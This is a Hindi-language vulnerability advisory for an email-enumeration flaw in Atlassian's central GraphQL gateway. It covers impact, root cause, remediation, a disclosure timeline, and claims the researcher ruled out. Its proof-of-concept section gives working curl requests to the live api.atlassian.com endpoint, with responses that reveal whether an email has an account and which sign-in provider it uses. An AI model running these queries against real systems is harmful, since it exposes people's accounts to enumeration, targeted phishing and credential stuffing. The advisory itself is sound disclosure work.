CVE-2026-XXXX: Atlassian Central GraphQL — ईमेल एनुमरेशन ओरेकल

उत्पाद

Atlassian Central GraphQL Gateway (api.atlassian.com/graphql)

भेद्यता प्रकार

CWE-204: Observable Response Discrepancy — ईमेल एनुमरेशन ओरेकल

गंभीरता

मध्यम — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

विवरण

Atlassian के केंद्रीय GraphQL गेटवे पर loomUnauthenticated_primaryAuthTypeForEmail GraphQL क्वेरी इस बात पर निर्भर करती है कि ईमेल पता Atlassian के साथ पंजीकृत है या नहीं, अलग-अलग प्रतिक्रियाएँ लौटाती है, जिससे अप्रमाणित उपयोगकर्ता एनुमरेशन संभव होता है।

पंजीकृत ईमेल → authType (जैसे workos, password, google) और एक रीडायरेक्ट URI लौटाता है अपंजीकृत ईमेल → बिना किसी रीडायरेक्ट URI के authType: "none" लौटाता है

किसी प्रमाणीकरण की आवश्यकता नहीं है। क्वेरी नाम में "Unauthenticated" शामिल है — यह जानबूझकर सार्वजनिक है, लेकिन इसे किसी भी ईमेल के Atlassian खाता होने की जानकारी लीक नहीं करनी चाहिए।

प्रभावित संस्करण

• Atlassian Central GraphQL Gateway (स्नैपशॉट 37157, बिल्ड 2026-07-02)
• एंडपॉइंट: https://api.atlassian.com/graphql

प्रूफ ऑफ कॉन्सेप्ट

पंजीकृत ईमेल (auth प्रदाता लौटाता है):

curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'

प्रतिक्रिया:

{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "workos",
      "hasActiveMemberships": false,
      "redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
    }
  }
}

अपंजीकृत ईमेल (कोई नहीं लौटाता):

curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'

प्रतिक्रिया:

{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "none"
    }
  }
}

इसके अलावा लीक होता है: ईमेल → auth प्रदाता मैपिंग

authType: "workos" पुष्टि करता है कि ईमेल WorkOS SSO का उपयोग करता है। authType: "google" या authType: "password" प्रमाणीकरण विधि लीक कर देगा। यह लक्षित फिशिंग को सक्षम बनाता है।

प्रभाव

एक अप्रमाणित हमलावर यह कर सकता है:

• बड़े पैमाने पर पंजीकृत Atlassian/Loom खातों की गणना करना
• ईमेल को उनके प्रमाणीकरण प्रदाता (Google SSO, WorkOS, password) से मैप करना
• लक्षित फिशिंग अभियानों के लिए प्रमाणीकरण प्रदाता जानकारी का उपयोग करना
• क्रेडेंशियल स्टफिंग के लिए वैध Atlassian उपयोगकर्ताओं की सूची बनाना

मूल कारण

loomUnauthenticated_primaryAuthTypeForEmail क्वेरी कोई दर-सीमा नहीं लगाती है और बिना प्रमाणीकरण के किसी भी ईमेल के लिए प्रमाणीकरण प्रदाता जानकारी लौटाती है। जबकि एंडपॉइंट जानबूझकर अप्रमाणित है (Loom की साइनअप प्रक्रिया के लिए), यह लीक करता है कि ईमेल का खाता है या नहीं और वे किस प्रमाणीकरण प्रदाता का उपयोग करते हैं।

उपचार

1. बल्क एनुमरेशन को रोकने के लिए दर-सीमा जोड़ें
2. पंजीकृत और अपंजीकृत दोनों ईमेल के लिए एक समान प्रतिक्रिया लौटाएँ
3. या: ईमेल स्थिति क्वेरी करने से पहले CAPTCHA/nonce की आवश्यकता हो

यह क्या नहीं है

पूरी तरह से परीक्षण के बाद, ये दावे अमान्य पाए गए:

• ❌ विशेषाधिकारों वाला कोई JWT टोकन नहीं (टोकन में aaid: "unidentified" है)
• ❌ कोई एडमिन म्यूटेशन निष्पादन नहीं (सभी ValidationError के साथ विफल होते हैं)
• ❌ कोई प्रमाणीकरण बायपास नहीं (गेटवे कॉलर को unidentified के रूप में सही ढंग से पहचानता है)
• ❌ ईमेल/auth-प्रदाता मैपिंग के अलावा कोई डेटा लीक नहीं

समयरेखा

• 2026-06-30: खोजा गया
• 2026-06-30: [email protected] को रिपोर्ट किया गया
• 2026-07-02: सही मूल्यांकन — Critical (9.8) से Medium (5.3) में डाउनग्रेड किया गया

खोजकर्ता

Wh4l3X